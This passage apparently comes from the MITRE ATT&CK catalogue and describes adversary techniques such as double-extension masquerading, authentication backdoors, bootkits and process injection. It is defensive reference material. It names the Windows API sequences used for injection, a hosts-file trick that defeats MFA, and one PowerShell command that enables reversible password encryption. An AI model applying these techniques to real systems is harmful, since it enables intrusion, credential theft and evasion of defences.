For example, if there is a Mach-O executable file called `evil.bin`, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to `evil.txt`, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to `evil.txt ` (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

.007 - Double File Extension
Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system's policies.

Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user's system via Spearphishing Attachment then User Execution. For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.

Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.

T1556 - Modify Authentication Process
Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

.001 - Domain Controller Authentication
Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.

Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user's account and/or credentials (ex: Skeleton Key). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.

.002 - Password Filter DLL
Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.

.003 - Pluggable Authentication Modules

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is `pam_unix.so`, which retrieves, sets, and verifies account authentication information in `/etc/passwd` and `/etc/shadow`.

Adversaries may modify components of the PAM system to create backdoors. PAM components, such as `pam_unix.so`, can be patched to accept arbitrary adversary supplied values as legitimate credentials.

Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.

.004 - Network Device Authentication

Adversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

Modify System Image may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.

.005 - Reversible Encryption

An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The `AllowReversiblePasswordEncryption` property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.

If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

5. Encrypted password (`G$RADIUSCHAP`) from the Active Directory user-structure `userParameters`
6. 16 byte randomly-generated value (`G$RADIUSCHAPKEY`) also from `userParameters`

7. Global LSA secret (G$MSRADIUSCHAPKEY)
8. Static key hardcoded in the Remote Access Sub-authentication DLL (RASSFM.DLL)

With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.

An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.[4] In PowerShell, an adversary may make associated changes to user settings using commands similar to `Set-ADUser -AllowReversiblePasswordEncryption $true`.

.006 - Multi-Factor Authentication

Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.

Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.

For example, modifying the Windows hosts file (`C:\windows\system32\drivers\etc\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a "fail open" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.

Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.

.007 - Hybrid Identity

Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.

Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD:

- Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud
- Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
- Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD

AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users' identity and privileges.

By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials. In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.

In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.

T1578 - Modify Cloud Compute Infrastructure

An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.

.001 - Create Snapshot

An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in Revert Cloud Instance where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.

An adversary may Create Cloud Instance, mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.

.002 - Create Cloud Instance

An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may Create Snapshot of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect Data from Local System or for Remote Data Staging.

Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.

.003 - Delete Cloud Instance
An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.

An adversary may also Create Cloud Instance and later terminate the instance after achieving their objectives.

.004 - Revert Cloud Instance
An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.

T1112 - Modify Registry
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.

T1601 - Modify System Image
Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.

.001 - Patch System Image
Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses. Some network devices are built with a monolithic architecture, where the

entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.

To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.

To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.

In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.

By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging. Adding new capabilities for the adversary's purpose include Keylogging, Multi-hop Proxy, and Port Knocking.

Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with Downgrade System Image, one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.

When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via TFTP Boot.

When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with ROMMONkit to achieve persistence.

.002 - Downgrade System Image

Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.

On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.

Downgrading the system image to an older version may allow an adversary to evade defenses by enabling behaviors such as Weaken Encryption. Downgrading of a system image can be done on its own, or it can be used in conjunction with Patch System Image.

T1599 - Network Boundary Bridging

Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via Multi-hop Proxy or exfiltration of data via Traffic Duplication. Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with Internal Proxy to achieve the same goals. In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.

.001 - Network Address Translation Traversal

Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.

When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.

Adversaries may use Patch System Image to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities

T1027 - Obfuscated Files or Information

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.

Adversaries may also obfuscate commands executed from payloads or directly via a Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature-based detections and application control mechanisms.

.001 - Binary Padding

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures. The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware. Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.

.002 - Software Packing

Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

.003 – Steganography

Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

Duqu was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.

By the end of 2017, a threat group used Invoke-PSImage to hide PowerShell commands in an image file (.png) and execute the code on a victim's system. In this case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.

.004 - Compile After Delivery

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Phishing. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.

.005 - Indicator Removal from Tools

Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.

.006 - HTML Smuggling

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.

Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters.

For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.

.007 - Dynamic API Resolution

Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various

Native API functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.

API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.

To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to Software Packing, dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.

Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as GetProcAddress() and LoadLibrary(). These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of Deobfuscate/Decode Files or Information during execution).

.008 - Stripped Payloads

Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s linker when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.

Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of AppleScript, to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.

.009 - Embedded Payloads

Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets.

Adversaries may embed payloads in various file formats to hide payloads. This is similar to Steganography, though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.

For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary. Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.

Embedded content may also be used as Process Injection payloads used to infect benign system processes. These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.

T1647 - Plist File Modification

Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.

Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. Hidden Window) or running additional commands for persistence (ex: Launch Agent/Launch Daemon or Re-opened Applications).

For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the `LSUIElement` key in an application's `info.plist` file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as `LSEnvironment`, to enable persistence via Dynamic Linker Hijacking.

T1542 - Pre-OS Boot

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

.001 - System Firmware

Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

.002 - Component Firmware

Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

.003 – Bootkit

Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

.004 – ROMMONkit

Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect.

ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Like TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.

.005 - TFTP Boot

Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.

T1055 - Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

.001 - Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as `VirtualAllocEx` and `WriteProcessMemory`, then invoked with `CreateRemoteThread` (which calls the `LoadLibrary` API responsible for loading the DLL).

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of `LoadLibrary`).

Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's `AddressOfEntryPoint` before starting a new thread in the target process. This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

.002 - Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as `VirtualAllocEx` and `WriteProcessMemory`, then invoked with `CreateRemoteThread` or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

.003 - Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as

OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread, VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.

This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

.004 - Asynchronous Procedure Call

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).

A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. AtomBombing is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

.005 - Thread Local Storage

Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.

TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process' memory space using other Process Injection techniques such as Process Hollowing.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.

.008 - Ptrace System Calls

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes' memory (ex: the current address of the next instruction).

